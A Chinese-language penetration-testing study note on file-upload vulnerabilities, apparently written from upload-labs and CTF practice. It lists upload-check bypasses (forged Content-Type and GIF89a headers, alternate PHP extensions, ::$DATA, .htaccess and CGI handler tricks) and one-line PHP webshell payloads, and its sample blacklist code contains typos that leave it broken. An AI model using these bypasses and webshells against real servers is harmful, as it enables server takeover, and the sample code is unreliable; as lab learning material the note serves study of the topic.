title: 文件上传学习笔记
date: 2021-5-22
tags: 渗透测试,文件上传,基础
categories:
中国蚁剑
中国菜刀
文件检测手法客户端javascript校验(一般只校验后缀名)
服务端校验
文件头content-type字段校验(image/gif)(MIME类型)
文件内容头校验(GIF89a)
后缀名黑名单校验
后缀名白名单校验
自定义正侧校验
WAF设备校验(根据不同的WAF产品而定)
绕过 抓包,修改Content-Type:image/jpeg 文件头:伪造图片文件头(GIF89a) 客户端JavaScript校验 前端JS校验,可以直接绕过禁用JS
删除onsubmit="return chekFile()"
upload-labs Pass-01
文件头content-type校验直接上传木马图片,之后修改文件名为php可解析的后缀
上传php文件,BP 抓包手动修改Content-type
upload-labs Pass-02
文件内容头校验手动伪造图片文件头,例如GIF89a
在图片中插入PHP代码
upload-labs Pass-13
黑名单 <?php //实际情况中黑名单内数据会更多更全 $blacklist = array('php','asp','aspx','jsp'); $path = "./uploads"; $type = array_pop(explode('.',$_FILED['myfile']['name'])); if (in_array(strtolower($type),$blacklist)){ die("File type errer!<br>"); }else{ $file = $path.'http://www.likecs.com/'.$_FILES['myfile']['name']; if(nove_uploaded_file($FILES['myfile']['tmp_name'],$file)){ echo 'Success!<br>'; }else{ echo 'Error!<br>'; } } ?>黑名单,尝试各种特殊文件名(php、Php、PHP、pht、php5、phtnl、shtml),或者在扩展名后添加空格、::\(DATA、.,\),/..,等字符,子啊或者尝试上传‘.htaccess’
防御手段随机文件名+白名单后缀
PHP: php2 php3 PHP5 phtml pht(是否解析需要根据配置文件中的设置类型来决定) ASP: asa cer cdx ASPX: ascx ashx asac JSP: jsp jspx jspf 绕过方法 php3 php4 php5 分别是php3版本 php4版本 php5版本的PHP文件,且向下兼容 upload-labs Pass-03 phtmlphtml是PHP2程序的标准文件扩展名upload-labs Pass-03 ::$DATA(windows)上传文件为xxx.php::$DATA类型的文件。可以看到上传的文件为xxx.php::$data 。 大小写绕过.Php .PHtmlupload-labs Pass-05https://www.freebuf.com/column/143101.html
内容检测几种标签语法 <??><?php<?=?><%<script lanague='php'> 短标签 两种短语标签必须在php5.4.0之后 其中短语标签需要在php.ini中开启配置short_open_tag才能使用 <?= 等价于 <? echo 不用开启短标签 <?= 'whoami'?><?= 'ls'?>
7.0.0 The ASP tags <%, %>, <%=, and the script tag <script language="php"> are ermoved from php5.4.0 The tag <?= is always available regardless of the short_open_tag ini setting.其中ASP标签<% %>需要将asp_tags设成On
通过php小于7.0的可以通过绕过
<srcipt language='php'>phpinfo();</srcipt> 当<? 被绕过时,可以尝试用<srcipt lanague='php'>绕过条件:PHP版本小于7.0BUU[极客大挑战2019]upload 当PHP被过滤时,尝试用短标签<? ?>绕过条件:PHP版本>5.4且php.ini中开启配置short_open_tag=1交出你的猫猫图 过滤GET POST,尝试用eval($_REQUEST[a]);绕过 过滤eval,尝试用assert($_GET[a]);绕过 .htaccess //.htaccessaddtype application/x-httpd-php .jpg上传.htaccess把.jpg当作PHP解析,只需要上传带shell的.jpg文件即可
//shell.jpg<script language='php'></script> 过滤文件内容 /.htaccessaddtype application/x-httpd-php .wuwuphp_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu" base64.b64encode(b"<?php eval($_GET['c']);?>") php_value auto_append_file 会给PHP文件附加后面的内容将shell的内容上传至shell.wuwuhtaccess上传至.htaccess然后访问shell.wuwu即可/只能执行命令 不能连接shell上传cgi脚本
Options +ExecCGIAddHandler cgi-script .xx
cgi脚本最好在Linux下编写,保存为3.xx
#!/bin/bashecho "Content_type:text/plain"echo ""cat /flagexit 0